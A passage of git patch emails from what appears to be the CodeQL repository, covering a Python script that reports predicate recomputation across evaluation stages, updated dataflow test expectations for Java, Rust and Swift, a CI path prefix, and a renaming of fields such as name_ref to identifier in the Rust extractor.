seen_stages.add(stage_key) + stage_number += 1 + print('STAGE ' + str(stage_number) + ':') + print(str(len(cached)) + ' cached predicate(s)') + print(' '.join(cached)) + for predicate in stage: + # strip trailing characters matching the regex '#[bf]+', i.e. disregard magic + predicate = re.sub('#[bf]+$', '', predicate) + # TODO: maybe also strip the hash? + # predicate = re.sub('#[a-f0-9]+$', '', predicate) + if predicate in computed_predicates.keys(): + # skip db-relations and some generated predicates + if predicate.startswith('@') or predicate.startswith('project#'): + continue + prior_stage = computed_predicates[predicate] + print('Recompute from ' + str(prior_stage) + ': ' + predicate) + else: + computed_predicates[predicate] = stage_number + print() + +with open(dilfile, 'r') as f: + stage = [] + cached = [] + query = False + for line in f: + # skip lines starting with a space, i.e. predicate bodies + if line.startswith(' '): continue + # get the part of the line containing no spaces occuring before the first '(' + # this is the predicate name + parenpos = line.find('(') + if parenpos != -1: + start = line.rfind(' ', 0, parenpos) + predicate = line[start+1:parenpos] + if predicate.startswith('`'): + # remove the leading and trailing backticks + predicate = predicate[1:-1] + stage.append(predicate) + continue + # query predicates, aka cached predicates, are written either as + # 'query = ...' on one line, or split across 2+ lines + if line.startswith('query '): + predicate = line.split(' ')[1] + cached.append(predicate) + continue + if line == 'query\n': + query = True + continue + if query: + predicate = line.split(' ')[0] + cached.append(predicate) + query = False + continue + if line == '/* ---------- END STAGE ---------- */\n': + process_stage(stage, cached) + stage = [] + cached = [] From 9a8ab2d45b2d0ea46c56075357dbde4a4777eb5b Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 31 Mar 2025 11:28:29 +0200 Subject: [PATCH 145/282] Update misc/scripts/stageoverlap.py Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- misc/scripts/stageoverlap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/misc/scripts/stageoverlap.py b/misc/scripts/stageoverlap.py index 42b3d8db0b2..979fc61571e 100755 --- a/misc/scripts/stageoverlap.py +++ b/misc/scripts/stageoverlap.py @@ -6,7 +6,7 @@ import re # read first argument if len(sys.argv) < 2: - print("Usage: stagestats.py ") + print("Usage: stageoverlap.py ") sys.exit(1) dilfile = sys.argv[1] From 56c46d74f91a17c6f0e25577ab32b46ffb4a85c0 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 31 Mar 2025 11:44:37 +0200 Subject: [PATCH 146/282] Java/Rust/Swift: Accept qltest changes. --- .../test/library-tests/dataflow/capture/test.expected | 2 -- .../local/CONSISTENCY/DataFlowConsistency.expected | 2 -- .../library-tests/dataflow/local/DataFlowStep.expected | 9 ++++----- .../library-tests/dataflow/dataflow/LocalFlow.expected | 10 +++++----- 4 files changed, 9 insertions(+), 14 deletions(-) delete mode 100644 rust/ql/test/library-tests/dataflow/local/CONSISTENCY/DataFlowConsistency.expected diff --git a/java/ql/test/library-tests/dataflow/capture/test.expected b/java/ql/test/library-tests/dataflow/capture/test.expected index 1e8a2d7d334..a744f468fbe 100644 --- a/java/ql/test/library-tests/dataflow/capture/test.expected +++ b/java/ql/test/library-tests/dataflow/capture/test.expected @@ -18,7 +18,6 @@ | A.java:21:11:21:13 | "B" : String | A.java:15:16:15:22 | get(...) : String | | A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | ...=... : String | | A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | SSA phi(s) : String | -| A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | phi(String s) : String | | A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | String s : String | | A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] | | A.java:21:11:21:13 | "B" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] | @@ -35,7 +34,6 @@ | A.java:23:11:23:13 | "C" : String | A.java:15:16:15:22 | get(...) : String | | A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | ...=... : String | | A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | SSA phi(s) : String | -| A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | phi(String s) : String | | A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | String s : String | | A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] | | A.java:23:11:23:13 | "C" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] | diff --git a/rust/ql/test/library-tests/dataflow/local/CONSISTENCY/DataFlowConsistency.expected b/rust/ql/test/library-tests/dataflow/local/CONSISTENCY/DataFlowConsistency.expected deleted file mode 100644 index e20ac1da53f..00000000000 --- a/rust/ql/test/library-tests/dataflow/local/CONSISTENCY/DataFlowConsistency.expected +++ /dev/null @@ -1,2 +0,0 @@ -identityLocalStep -| main.rs:442:9:442:20 | phi(default_name) | Node steps to itself | diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 2766d8c0fd8..7fd8c3fe8a8 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -647,10 +647,9 @@ localStep | main.rs:441:24:441:33 | [post] receiver for source(...) | main.rs:441:24:441:33 | [post] source(...) | | main.rs:441:24:441:33 | source(...) | main.rs:441:24:441:33 | receiver for source(...) | | main.rs:441:24:441:45 | ... .to_string(...) | main.rs:441:9:441:20 | default_name | -| main.rs:441:24:441:45 | ... .to_string(...) | main.rs:442:9:442:20 | phi(default_name) | +| main.rs:441:24:441:45 | ... .to_string(...) | main.rs:442:9:442:20 | SSA phi read(default_name) | | main.rs:442:5:448:5 | for ... in ... { ... } | main.rs:440:75:449:1 | { ... } | -| main.rs:442:9:442:20 | phi(default_name) | main.rs:442:9:442:20 | phi(default_name) | -| main.rs:442:9:442:20 | phi(default_name) | main.rs:444:41:444:67 | default_name | +| main.rs:442:9:442:20 | SSA phi read(default_name) | main.rs:444:41:444:67 | default_name | | main.rs:442:10:442:13 | [SSA] cond | main.rs:443:12:443:15 | cond | | main.rs:442:10:442:13 | cond | main.rs:442:10:442:13 | [SSA] cond | | main.rs:442:10:442:13 | cond | main.rs:442:10:442:13 | cond | @@ -664,9 +663,9 @@ localStep | main.rs:444:21:444:24 | [post] receiver for name | main.rs:444:21:444:24 | [post] name | | main.rs:444:21:444:24 | name | main.rs:444:21:444:24 | receiver for name | | main.rs:444:21:444:68 | name.unwrap_or_else(...) | main.rs:444:17:444:17 | n | -| main.rs:444:41:444:67 | [post] default_name | main.rs:442:9:442:20 | phi(default_name) | +| main.rs:444:41:444:67 | [post] default_name | main.rs:442:9:442:20 | SSA phi read(default_name) | | main.rs:444:41:444:67 | closure self in \|...\| ... | main.rs:444:44:444:55 | this | -| main.rs:444:41:444:67 | default_name | main.rs:442:9:442:20 | phi(default_name) | +| main.rs:444:41:444:67 | default_name | main.rs:442:9:442:20 | SSA phi read(default_name) | | main.rs:444:44:444:55 | [post] receiver for default_name | main.rs:444:44:444:55 | [post] default_name | | main.rs:444:44:444:55 | default_name | main.rs:444:44:444:55 | receiver for default_name | | main.rs:445:18:445:18 | [post] receiver for n | main.rs:445:18:445:18 | [post] n | diff --git a/swift/ql/test/library-tests/dataflow/dataflow/LocalFlow.expected b/swift/ql/test/library-tests/dataflow/dataflow/LocalFlow.expected index 7ec3f1a5aa4..b3dca868067 100644 --- a/swift/ql/test/library-tests/dataflow/dataflow/LocalFlow.expected +++ b/swift/ql/test/library-tests/dataflow/dataflow/LocalFlow.expected @@ -1378,17 +1378,17 @@ | test.swift:888:9:888:9 | stream | test.swift:888:9:888:9 | SSA def(stream) | | test.swift:888:18:896:6 | call to AsyncStream.init(_:bufferingPolicy:_:) | test.swift:888:9:888:9 | stream | | test.swift:889:9:889:9 | continuation | test.swift:890:27:895:13 | continuation | -| test.swift:890:27:895:13 | closure self parameter | test.swift:891:17:891:17 | phi(this) | +| test.swift:890:27:895:13 | closure self parameter | test.swift:891:17:891:17 | SSA phi read(this) | | test.swift:891:17:891:17 | $generator | test.swift:891:17:891:17 | &... | | test.swift:891:17:891:17 | &... | test.swift:891:17:891:17 | $generator | +| test.swift:891:17:891:17 | SSA phi read(this) | test.swift:892:21:892:21 | this | +| test.swift:891:17:891:17 | SSA phi read(this) | test.swift:894:17:894:17 | this | | test.swift:891:17:891:17 | [post] $generator | test.swift:891:17:891:17 | &... | -| test.swift:891:17:891:17 | phi(this) | test.swift:892:21:892:21 | this | -| test.swift:891:17:891:17 | phi(this) | test.swift:894:17:894:17 | this | | test.swift:891:26:891:26 | $generator | test.swift:891:26:891:26 | SSA def($generator) | | test.swift:891:26:891:26 | SSA def($generator) | test.swift:891:17:891:17 | $generator | | test.swift:891:26:891:30 | call to makeIterator() | test.swift:891:26:891:26 | $generator | -| test.swift:892:21:892:21 | this | test.swift:891:17:891:17 | phi(this) | -| test.swift:892:21:892:21 | this | test.swift:891:17:891:17 | phi(this) | +| test.swift:892:21:892:21 | this | test.swift:891:17:891:17 | SSA phi read(this) | +| test.swift:892:21:892:21 | this | test.swift:891:17:891:17 | SSA phi read(this) | | test.swift:898:5:898:5 | $i$generator | test.swift:898:5:898:5 | &... | | test.swift:898:5:898:5 | &... | test.swift:898:5:898:5 | $i$generator | | test.swift:898:5:898:5 | [post] $i$generator | test.swift:898:5:898:5 | &... | From dad2be028689e8d733daab438a1d8587e91e9e45 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 31 Mar 2025 11:58:56 +0200 Subject: [PATCH 147/282] Misc: Add another path prefix to accept-expected-changes-from-ci.py --- misc/scripts/accept-expected-changes-from-ci.py | 1 + 1 file changed, 1 insertion(+) diff --git a/misc/scripts/accept-expected-changes-from-ci.py b/misc/scripts/accept-expected-changes-from-ci.py index 9cf500671e6..a11bfe9547f 100755 --- a/misc/scripts/accept-expected-changes-from-ci.py +++ b/misc/scripts/accept-expected-changes-from-ci.py @@ -136,6 +136,7 @@ def make_patches_from_log_file(log_file_lines) -> List[Patch]: known_start_paths = { # internal CI runs "/home/runner/work/semmle-code/semmle-code/ql/": CODEQL_REPO_DIR, + "/Users/runner/work/semmle-code/semmle-code/ql/": CODEQL_REPO_DIR, "/home/runner/work/semmle-code/semmle-code/target/codeql-java-integration-tests/ql/": CODEQL_REPO_DIR, "/home/runner/work/semmle-code/semmle-code/" : SEMMLE_CODE_DIR, # github actions on codeql repo From 8bfc1c424e78961639bad8051d37eea5461090b8 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 13:07:16 +0100 Subject: [PATCH 148/282] Rust: rename several entities using more accepted names --- rust/ast-generator/src/main.rs | 5 + rust/extractor/src/generated/.generated.list | 2 +- rust/extractor/src/generated/top.rs | 66 ++++++------- rust/extractor/src/translate/generated.rs | 44 ++++----- rust/ql/.generated.list | 64 ++++++------ rust/ql/.gitattributes | 20 ++-- .../internal/generated/CfgNodes.qll | 34 +++---- .../internal/generated/AsmRegSpec.qll | 10 +- .../internal/generated/AssocTypeArg.qll | 10 +- .../internal/generated/ExternCrate.qll | 10 +- .../elements/internal/generated/FieldExpr.qll | 20 ++-- .../internal/generated/MethodCallExpr.qll | 10 +- .../internal/generated/ParentChild.qll | 98 ++++++++++--------- .../internal/generated/PathSegment.qll | 10 +- .../rust/elements/internal/generated/Raw.qll | 44 ++++----- .../internal/generated/StructExprField.qll | 10 +- .../internal/generated/StructField.qll | 12 ++- .../internal/generated/StructPatField.qll | 10 +- .../elements/internal/generated/Variant.qll | 11 ++- rust/ql/lib/rust.dbscheme | 44 ++++----- .../generated/AssocTypeArg/AssocTypeArg.ql | 8 +- ...meRef.ql => AssocTypeArg_getIdentifier.ql} | 2 +- .../generated/ExternCrate/ExternCrate.ql | 6 +- ...ameRef.ql => ExternCrate_getIdentifier.ql} | 2 +- .../generated/FieldExpr/FieldExpr.ql | 9 +- ...r_getExpr.ql => FieldExpr_getContainer.ql} | 2 +- ...tNameRef.ql => FieldExpr_getIdentifier.ql} | 2 +- .../MethodCallExpr/MethodCallExpr.ql | 6 +- ...Ref.ql => MethodCallExpr_getIdentifier.ql} | 2 +- .../generated/Path/PathSegment.ql | 6 +- ...ameRef.ql => PathSegment_getIdentifier.ql} | 2 +- .../StructExprField/StructExprField.ql | 7 +- ...ef.ql => StructExprField_getIdentifier.ql} | 2 +- .../generated/StructField/StructField.ql | 6 +- ...d_getExpr.ql => StructField_getDefault.ql} | 2 +- .../StructPatField/StructPatField.ql | 6 +- ...Ref.ql => StructPatField_getIdentifier.ql} | 2 +- .../generated/Variant/Variant.ql | 8 +- ..._getExpr.ql => Variant_getDiscriminant.ql} | 2 +- rust/schema/ast.py | 22 ++--- 40 files changed, 327 insertions(+), 311 deletions(-) rename rust/ql/test/extractor-tests/generated/AssocTypeArg/{AssocTypeArg_getNameRef.ql => AssocTypeArg_getIdentifier.ql} (83%) rename rust/ql/test/extractor-tests/generated/ExternCrate/{ExternCrate_getNameRef.ql => ExternCrate_getIdentifier.ql} (83%) rename rust/ql/test/extractor-tests/generated/FieldExpr/{FieldExpr_getExpr.ql => FieldExpr_getContainer.ql} (84%) rename rust/ql/test/extractor-tests/generated/FieldExpr/{FieldExpr_getNameRef.ql => FieldExpr_getIdentifier.ql} (83%) rename rust/ql/test/extractor-tests/generated/MethodCallExpr/{MethodCallExpr_getNameRef.ql => MethodCallExpr_getIdentifier.ql} (84%) rename rust/ql/test/extractor-tests/generated/Path/{PathSegment_getNameRef.ql => PathSegment_getIdentifier.ql} (83%) rename rust/ql/test/extractor-tests/generated/StructExprField/{StructExprField_getNameRef.ql => StructExprField_getIdentifier.ql} (84%) rename rust/ql/test/extractor-tests/generated/StructField/{StructField_getExpr.ql => StructField_getDefault.ql} (85%) rename rust/ql/test/extractor-tests/generated/StructPatField/{StructPatField_getNameRef.ql => StructPatField_getIdentifier.ql} (84%) rename rust/ql/test/extractor-tests/generated/Variant/{Variant_getExpr.ql => Variant_getDiscriminant.ql} (82%) diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs index 4b5cd6506cd..30c6ba1cf1e 100644 --- a/rust/ast-generator/src/main.rs +++ b/rust/ast-generator/src/main.rs @@ -32,14 +32,19 @@ fn class_name(type_name: &str) -> String { } fn property_name(type_name: &str, field_name: &str) -> String { + // N.B.: type names here are before any manipulation done by class_name let name = match (type_name, field_name) { ("CallExpr", "expr") => "function", ("LetExpr", "expr") => "scrutinee", ("MatchExpr", "expr") => "scrutinee", + ("Variant", "expr") => "discriminant", + ("FieldExpr", "expr") => "container", + (_, "name_ref") => "identifier", (_, "then_branch") => "then", (_, "else_branch") => "else_", ("ArrayType", "ty") => "element_type_repr", ("SelfParam", "is_amp") => "is_ref", + ("RecordField", "expr") => "default", ("UseTree", "is_star") => "is_glob", (_, "ty") => "type_repr", _ if field_name.contains("record") => &field_name.replacen("record", "struct", 1), diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list index 3c520983a6c..db7b3cdf235 100644 --- a/rust/extractor/src/generated/.generated.list +++ b/rust/extractor/src/generated/.generated.list @@ -1,2 +1,2 @@ mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 -top.rs 49e4f3abb137d6eed5a7c5202b3a31c9cafa1f565ee63dd5960e971950fafaa1 49e4f3abb137d6eed5a7c5202b3a31c9cafa1f565ee63dd5960e971950fafaa1 +top.rs 62e42bde2f16907f6d7303526c4f058a253df8b31fb26cb71edab0bc75fc2b55 62e42bde2f16907f6d7303526c4f058a253df8b31fb26cb71edab0bc75fc2b55 diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs index a49cae61ade..34283604506 100644 --- a/rust/extractor/src/generated/top.rs +++ b/rust/extractor/src/generated/top.rs @@ -650,7 +650,7 @@ impl From> for trap::Label { #[derive(Debug)] pub struct AsmRegSpec { pub id: trap::TrapId, - pub name_ref: Option>, + pub identifier: Option>, } impl trap::TrapEntry for AsmRegSpec { @@ -660,8 +660,8 @@ impl trap::TrapEntry for AsmRegSpec { fn emit(self, id: trap::Label, out: &mut trap::Writer) { out.add_tuple("asm_reg_specs", vec![id.into()]); - if let Some(v) = self.name_ref { - out.add_tuple("asm_reg_spec_name_refs", vec![id.into(), v.into()]); + if let Some(v) = self.identifier { + out.add_tuple("asm_reg_spec_identifiers", vec![id.into(), v.into()]); } } } @@ -2081,7 +2081,7 @@ impl From> for trap::Label { pub struct PathSegment { pub id: trap::TrapId, pub generic_arg_list: Option>, - pub name_ref: Option>, + pub identifier: Option>, pub parenthesized_arg_list: Option>, pub ret_type: Option>, pub return_type_syntax: Option>, @@ -2097,8 +2097,8 @@ impl trap::TrapEntry for PathSegment { if let Some(v) = self.generic_arg_list { out.add_tuple("path_segment_generic_arg_lists", vec![id.into(), v.into()]); } - if let Some(v) = self.name_ref { - out.add_tuple("path_segment_name_refs", vec![id.into(), v.into()]); + if let Some(v) = self.identifier { + out.add_tuple("path_segment_identifiers", vec![id.into(), v.into()]); } if let Some(v) = self.parenthesized_arg_list { out.add_tuple("path_segment_parenthesized_arg_lists", vec![id.into(), v.into()]); @@ -2496,7 +2496,7 @@ pub struct StructExprField { pub id: trap::TrapId, pub attrs: Vec>, pub expr: Option>, - pub name_ref: Option>, + pub identifier: Option>, } impl trap::TrapEntry for StructExprField { @@ -2512,8 +2512,8 @@ impl trap::TrapEntry for StructExprField { if let Some(v) = self.expr { out.add_tuple("struct_expr_field_exprs", vec![id.into(), v.into()]); } - if let Some(v) = self.name_ref { - out.add_tuple("struct_expr_field_name_refs", vec![id.into(), v.into()]); + if let Some(v) = self.identifier { + out.add_tuple("struct_expr_field_identifiers", vec![id.into(), v.into()]); } } } @@ -2611,7 +2611,7 @@ impl From> for trap::Label { pub struct StructField { pub id: trap::TrapId, pub attrs: Vec>, - pub expr: Option>, + pub default: Option>, pub name: Option>, pub type_repr: Option>, pub visibility: Option>, @@ -2627,8 +2627,8 @@ impl trap::TrapEntry for StructField { for (i, v) in self.attrs.into_iter().enumerate() { out.add_tuple("struct_field_attrs", vec![id.into(), i.into(), v.into()]); } - if let Some(v) = self.expr { - out.add_tuple("struct_field_exprs", vec![id.into(), v.into()]); + if let Some(v) = self.default { + out.add_tuple("struct_field_defaults", vec![id.into(), v.into()]); } if let Some(v) = self.name { out.add_tuple("struct_field_names", vec![id.into(), v.into()]); @@ -2677,7 +2677,7 @@ impl From> for trap::Label { pub struct StructPatField { pub id: trap::TrapId, pub attrs: Vec>, - pub name_ref: Option>, + pub identifier: Option>, pub pat: Option>, } @@ -2691,8 +2691,8 @@ impl trap::TrapEntry for StructPatField { for (i, v) in self.attrs.into_iter().enumerate() { out.add_tuple("struct_pat_field_attrs", vec![id.into(), i.into(), v.into()]); } - if let Some(v) = self.name_ref { - out.add_tuple("struct_pat_field_name_refs", vec![id.into(), v.into()]); + if let Some(v) = self.identifier { + out.add_tuple("struct_pat_field_identifiers", vec![id.into(), v.into()]); } if let Some(v) = self.pat { out.add_tuple("struct_pat_field_pats", vec![id.into(), v.into()]); @@ -4150,7 +4150,7 @@ pub struct AssocTypeArg { pub id: trap::TrapId, pub const_arg: Option>, pub generic_arg_list: Option>, - pub name_ref: Option>, + pub identifier: Option>, pub param_list: Option>, pub ret_type: Option>, pub return_type_syntax: Option>, @@ -4171,8 +4171,8 @@ impl trap::TrapEntry for AssocTypeArg { if let Some(v) = self.generic_arg_list { out.add_tuple("assoc_type_arg_generic_arg_lists", vec![id.into(), v.into()]); } - if let Some(v) = self.name_ref { - out.add_tuple("assoc_type_arg_name_refs", vec![id.into(), v.into()]); + if let Some(v) = self.identifier { + out.add_tuple("assoc_type_arg_identifiers", vec![id.into(), v.into()]); } if let Some(v) = self.param_list { out.add_tuple("assoc_type_arg_param_lists", vec![id.into(), v.into()]); @@ -5210,8 +5210,8 @@ impl From> for trap::Label { pub struct FieldExpr { pub id: trap::TrapId, pub attrs: Vec>, - pub expr: Option>, - pub name_ref: Option>, + pub container: Option>, + pub identifier: Option>, } impl trap::TrapEntry for FieldExpr { @@ -5224,11 +5224,11 @@ impl trap::TrapEntry for FieldExpr { for (i, v) in self.attrs.into_iter().enumerate() { out.add_tuple("field_expr_attrs", vec![id.into(), i.into(), v.into()]); } - if let Some(v) = self.expr { - out.add_tuple("field_expr_exprs", vec![id.into(), v.into()]); + if let Some(v) = self.container { + out.add_tuple("field_expr_containers", vec![id.into(), v.into()]); } - if let Some(v) = self.name_ref { - out.add_tuple("field_expr_name_refs", vec![id.into(), v.into()]); + if let Some(v) = self.identifier { + out.add_tuple("field_expr_identifiers", vec![id.into(), v.into()]); } } } @@ -8589,7 +8589,7 @@ impl From> for trap::Label { pub struct Variant { pub id: trap::TrapId, pub attrs: Vec>, - pub expr: Option>, + pub discriminant: Option>, pub field_list: Option>, pub name: Option>, pub visibility: Option>, @@ -8605,8 +8605,8 @@ impl trap::TrapEntry for Variant { for (i, v) in self.attrs.into_iter().enumerate() { out.add_tuple("variant_attrs", vec![id.into(), i.into(), v.into()]); } - if let Some(v) = self.expr { - out.add_tuple("variant_exprs", vec![id.into(), v.into()]); + if let Some(v) = self.discriminant { + out.add_tuple("variant_discriminants", vec![id.into(), v.into()]); } if let Some(v) = self.field_list { out.add_tuple("variant_field_lists", vec![id.into(), v.into()]); @@ -9326,7 +9326,7 @@ impl From> for trap::Label { pub struct ExternCrate { pub id: trap::TrapId, pub attrs: Vec>, - pub name_ref: Option>, + pub identifier: Option>, pub rename: Option>, pub visibility: Option>, } @@ -9341,8 +9341,8 @@ impl trap::TrapEntry for ExternCrate { for (i, v) in self.attrs.into_iter().enumerate() { out.add_tuple("extern_crate_attrs", vec![id.into(), i.into(), v.into()]); } - if let Some(v) = self.name_ref { - out.add_tuple("extern_crate_name_refs", vec![id.into(), v.into()]); + if let Some(v) = self.identifier { + out.add_tuple("extern_crate_identifiers", vec![id.into(), v.into()]); } if let Some(v) = self.rename { out.add_tuple("extern_crate_renames", vec![id.into(), v.into()]); @@ -10031,7 +10031,7 @@ pub struct MethodCallExpr { pub arg_list: Option>, pub attrs: Vec>, pub generic_arg_list: Option>, - pub name_ref: Option>, + pub identifier: Option>, pub receiver: Option>, } @@ -10051,8 +10051,8 @@ impl trap::TrapEntry for MethodCallExpr { if let Some(v) = self.generic_arg_list { out.add_tuple("method_call_expr_generic_arg_lists", vec![id.into(), v.into()]); } - if let Some(v) = self.name_ref { - out.add_tuple("method_call_expr_name_refs", vec![id.into(), v.into()]); + if let Some(v) = self.identifier { + out.add_tuple("method_call_expr_identifiers", vec![id.into(), v.into()]); } if let Some(v) = self.receiver { out.add_tuple("method_call_expr_receivers", vec![id.into(), v.into()]); diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs index 25ae576d64c..08bffc15a25 100644 --- a/rust/extractor/src/translate/generated.rs +++ b/rust/extractor/src/translate/generated.rs @@ -385,10 +385,10 @@ impl Translator<'_> { } pub(crate) fn emit_asm_reg_spec(&mut self, node: ast::AsmRegSpec) -> Option> { - let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); let label = self.trap.emit(generated::AsmRegSpec { id: TrapId::Star, - name_ref, + identifier, }); self.emit_location(label, &node); emit_detached!(AsmRegSpec, self, node, label); @@ -426,7 +426,7 @@ impl Translator<'_> { pub(crate) fn emit_assoc_type_arg(&mut self, node: ast::AssocTypeArg) -> Option> { let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(x)); let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x)); - let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); let param_list = node.param_list().and_then(|x| self.emit_param_list(x)); let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); let return_type_syntax = node.return_type_syntax().and_then(|x| self.emit_return_type_syntax(x)); @@ -436,7 +436,7 @@ impl Translator<'_> { id: TrapId::Star, const_arg, generic_arg_list, - name_ref, + identifier, param_list, ret_type, return_type_syntax, @@ -801,13 +801,13 @@ impl Translator<'_> { pub(crate) fn emit_extern_crate(&mut self, node: ast::ExternCrate) -> Option> { if self.should_be_excluded(&node) { return None; } let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); let rename = node.rename().and_then(|x| self.emit_rename(x)); let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); let label = self.trap.emit(generated::ExternCrate { id: TrapId::Star, attrs, - name_ref, + identifier, rename, visibility, }); @@ -835,13 +835,13 @@ impl Translator<'_> { pub(crate) fn emit_field_expr(&mut self, node: ast::FieldExpr) -> Option> { if self.should_be_excluded(&node) { return None; } let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x)); + let container = node.expr().and_then(|x| self.emit_expr(x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); let label = self.trap.emit(generated::FieldExpr { id: TrapId::Star, attrs, - expr, - name_ref, + container, + identifier, }); self.emit_location(label, &node); emit_detached!(FieldExpr, self, node, label); @@ -1477,14 +1477,14 @@ impl Translator<'_> { let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(x)); let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x)); - let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); let receiver = node.receiver().and_then(|x| self.emit_expr(x)); let label = self.trap.emit(generated::MethodCallExpr { id: TrapId::Star, arg_list, attrs, generic_arg_list, - name_ref, + identifier, receiver, }); self.emit_location(label, &node); @@ -1700,14 +1700,14 @@ impl Translator<'_> { pub(crate) fn emit_path_segment(&mut self, node: ast::PathSegment) -> Option> { let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x)); - let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); let parenthesized_arg_list = node.parenthesized_arg_list().and_then(|x| self.emit_parenthesized_arg_list(x)); let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); let return_type_syntax = node.return_type_syntax().and_then(|x| self.emit_return_type_syntax(x)); let label = self.trap.emit(generated::PathSegment { id: TrapId::Star, generic_arg_list, - name_ref, + identifier, parenthesized_arg_list, ret_type, return_type_syntax, @@ -1816,12 +1816,12 @@ impl Translator<'_> { if self.should_be_excluded(&node) { return None; } let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(x)); - let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); let label = self.trap.emit(generated::StructExprField { id: TrapId::Star, attrs, expr, - name_ref, + identifier, }); self.emit_location(label, &node); emit_detached!(StructExprField, self, node, label); @@ -1849,14 +1849,14 @@ impl Translator<'_> { pub(crate) fn emit_record_field(&mut self, node: ast::RecordField) -> Option> { if self.should_be_excluded(&node) { return None; } let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + let default = node.expr().and_then(|x| self.emit_expr(x)); let name = node.name().and_then(|x| self.emit_name(x)); let type_repr = node.ty().and_then(|x| self.emit_type(x)); let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); let label = self.trap.emit(generated::StructField { id: TrapId::Star, attrs, - expr, + default, name, type_repr, visibility, @@ -1896,12 +1896,12 @@ impl Translator<'_> { pub(crate) fn emit_record_pat_field(&mut self, node: ast::RecordPatField) -> Option> { if self.should_be_excluded(&node) { return None; } let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); let pat = node.pat().and_then(|x| self.emit_pat(x)); let label = self.trap.emit(generated::StructPatField { id: TrapId::Star, attrs, - name_ref, + identifier, pat, }); self.emit_location(label, &node); @@ -2513,14 +2513,14 @@ impl Translator<'_> { pub(crate) fn emit_variant(&mut self, node: ast::Variant) -> Option> { if self.should_be_excluded(&node) { return None; } let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + let discriminant = node.expr().and_then(|x| self.emit_expr(x)); let field_list = node.field_list().and_then(|x| self.emit_field_list(x)); let name = node.name().and_then(|x| self.emit_name(x)); let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); let label = self.trap.emit(generated::Variant { id: TrapId::Star, attrs, - expr, + discriminant, field_list, name, visibility, diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index b4a2eda0cbb..b21354642e0 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,4 +1,4 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 2fc9c20eb37521ebf57fc755b6d4f3725ea74e790f21944c8f24acd64f8504ed 118451f6047dd5c9400ea318878c769f4d85912a04973d175bdc35870285dd50 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 